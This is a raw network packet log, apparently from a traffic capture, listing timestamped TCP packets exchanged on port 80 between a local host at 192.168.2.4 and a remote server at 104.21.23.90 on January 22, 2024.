Jan 22, 2024 11:52:05.687232018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687236071 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687246084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687251091 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687278032 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687295914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.687865019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687952995 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687964916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687977076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.687994003 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688005924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688014984 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688019037 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688033104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688045025 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688071012 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688086033 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688358068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688371897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688417912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688541889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688554049 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688565016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688576937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688589096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688591957 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688601971 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688615084 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688616037 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688627958 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688641071 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688652992 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688663960 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688667059 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688679934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.688698053 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.688721895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.689292908 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689325094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689336061 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689369917 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.689467907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689480066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689490080 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689502001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689513922 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689524889 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.689527988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689542055 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689554930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689557076 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.689568043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.689583063 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.689611912 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690268993 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690282106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690293074 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690304041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690316916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690327883 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690330029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690342903 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690356016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690356970 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690367937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690381050 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690382004 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690395117 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690407038 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690407991 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690426111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690443039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.690443039 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690458059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.690484047 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691237926 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691248894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691258907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691271067 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691282988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691294909 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691308022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691318989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691318989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691334963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691344023 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691348076 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691360950 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691366911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691373110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691385984 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691397905 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691400051 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.691431999 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691447020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.691981077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692183018 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692194939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692204952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692214966 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692229033 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692233086 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.692241907 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692254066 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692264080 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.692266941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692281008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692293882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692312956 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.692325115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692326069 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.692337990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692351103 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.692370892 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.692406893 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.692421913 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693025112 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693037987 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693048000 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693058968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693070889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693082094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693083048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693097115 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693109989 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693116903 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693140030 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693165064 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693468094 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693480015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693491936 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693525076 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693628073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693641901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693653107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693665028 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693676949 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693679094 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693690062 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693701982 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693715096 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693721056 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693728924 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693742990 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693756104 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.693764925 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.693804026 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694405079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694467068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694479942 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694494009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694509983 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694519043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694545031 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694546938 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694559097 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694591045 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694592953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694607019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694632053 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694634914 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694648027 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694659948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694674015 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694674015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694688082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.694713116 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.694735050 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695318937 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695388079 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695400953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695415020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695429087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695430994 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695458889 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695496082 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695508957 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695522070 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695534945 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695543051 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695548058 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695563078 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695575953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695590019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695591927 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695604086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.695612907 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695636034 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.695657015 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696362972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696376085 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696388006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696400881 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696419954 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696419954 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696434021 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696446896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696460962 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696470022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696499109 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696515083 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696789026 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696906090 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696919918 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696932077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696944952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696955919 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696959972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696974039 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.696980000 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.696988106 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697000980 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697014093 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697026968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697031021 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.697041988 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697050095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.697062016 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697074890 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697105885 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.697138071 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.697779894 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697793961 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697804928 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697839022 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.697930098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697942972 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697953939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697968006 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697978020 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.697982073 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.697995901 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698004961 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.698009968 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698023081 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698035002 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698049068 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698060036 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.698062897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698082924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.698127031 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.698713064 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698894978 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698908091 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698920965 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698932886 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698946953 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698946953 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.698961973 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698975086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.698975086 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.698988914 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699004889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699018955 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699023008 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699033022 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699043989 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699047089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699062109 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699065924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699084044 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699105024 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699729919 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699764013 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699776888 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699790001 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699803114 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699817896 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699830055 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699831009 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699846029 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.699863911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.699898005 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.700382948 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700395107 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700404882 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700417042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700428963 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700439930 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700440884 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.700453043 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700464964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700473070 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.700478077 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700490952 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700503111 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700508118 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.700516939 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700530052 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700531006 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.700542927 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.700567007 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.700608969 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.701188087 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701200008 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701211929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701222897 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701236010 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701246977 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.701288939 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.701313019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701325893 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701337099 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701349020 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701360941 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701361895 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.701374054 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701386929 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701400042 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701404095 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.701412916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.701443911 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.701464891 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702127934 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702177048 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702225924 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702383041 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702395916 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702406883 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702418089 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702430964 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702442884 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702452898 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702455997 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702469110 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702481985 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702495098 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702501059 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702507019 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702521086 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702536106 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702544928 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702570915 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.702960014 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.702972889 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.703032017 CET	49730	80	192.168.2.4	104.21.23.90
Jan 22, 2024 11:52:05.703058004 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.703069925 CET	80	49730	104.21.23.90	192.168.2.4
Jan 22, 2024 11:52:05.703079939 CET	80	49730	104.21.23.90	192.168.2.4
